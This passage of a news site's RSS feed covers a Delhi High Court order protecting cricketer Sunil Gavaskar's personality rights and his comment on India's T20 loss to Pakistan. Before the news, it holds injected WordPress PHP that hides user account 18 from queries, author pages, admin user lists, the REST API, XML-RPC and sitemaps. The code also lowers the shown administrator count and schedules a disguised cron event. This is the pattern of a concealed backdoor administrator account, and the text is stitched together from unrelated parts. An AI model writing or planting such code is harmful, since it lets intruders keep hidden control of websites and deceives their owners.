add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Delhi High Court Safeguards Sunil Gavaskar Personality Rights Against Digital Misuse appeared first on The Edge Media.
]]>Justice Manmeet Pritam Singh Arora directed that obscene and infringing content related to Gavaskar be taken down from the internet.
The court ordered that the identified URLs hosting offensive material, videos and posts must be removed within seventy two hours. It further clarified that if websites fail to comply within the stipulated timeframe, the concerned social media intermediaries would be required to take down the content. The matter has been scheduled for further hearing on May twenty two.
Reacting to the order, Sunil Gavaskar said the ruling represents an important judicial acknowledgment of a sportsperson’s personality and publicity rights in India. He noted that the decision assumes greater significance in cases involving unauthorised attribution, digital circulation and commercial exploitation across social media and e commerce platforms.
Earlier, on December twelve, the high court had directed social media intermediaries to act within seven days on Gavaskar’s plea seeking protection of his personality rights.
The court had asked his legal team to first approach the platforms with specific grievances and instructed intermediaries to treat the plea as a formal complaint under the Information Technology Intermediaries Guidelines and Digital Media Ethics Code Rules twenty twenty one.
During the latest hearing, the court was informed that although some infringing content had been removed, several links and materials were still accessible online. Gavaskar had approached the court to prevent the unauthorised use of his name persona images and likeness by social media platforms and e commerce websites, asserting his right to control and monetise his public identity.
Personality rights, also known as publicity rights, allow individuals to protect and regulate the commercial use of their image name and likeness. In recent months, several prominent public figures including actors filmmakers spiritual leaders journalists and digital creators have approached the Delhi High Court seeking similar protection. The court has granted interim relief in many of these cases, reflecting a growing judicial focus on safeguarding individual identity in the digital age.
The post Delhi High Court Safeguards Sunil Gavaskar Personality Rights Against Digital Misuse appeared first on The Edge Media.
]]>The post “Absolute Hammering”: Sunil Gavaskar Reacts to India’s 10-wicket T20 World Cup 2021 Loss to Pakistan appeared first on The Edge Media.
]]>
Pakistan dominated the game, chasing down the target with more than 13 balls remaining. Gavaskar was not pleased with the setback, saying, “The loss is an absolute hammering as far as India is concerned.” Despite the defeat, Gavaskar stated that the competition had only just begun and that India needed to regroup and prepare for the remaining matches.
The post “Absolute Hammering”: Sunil Gavaskar Reacts to India’s 10-wicket T20 World Cup 2021 Loss to Pakistan appeared first on The Edge Media.
]]>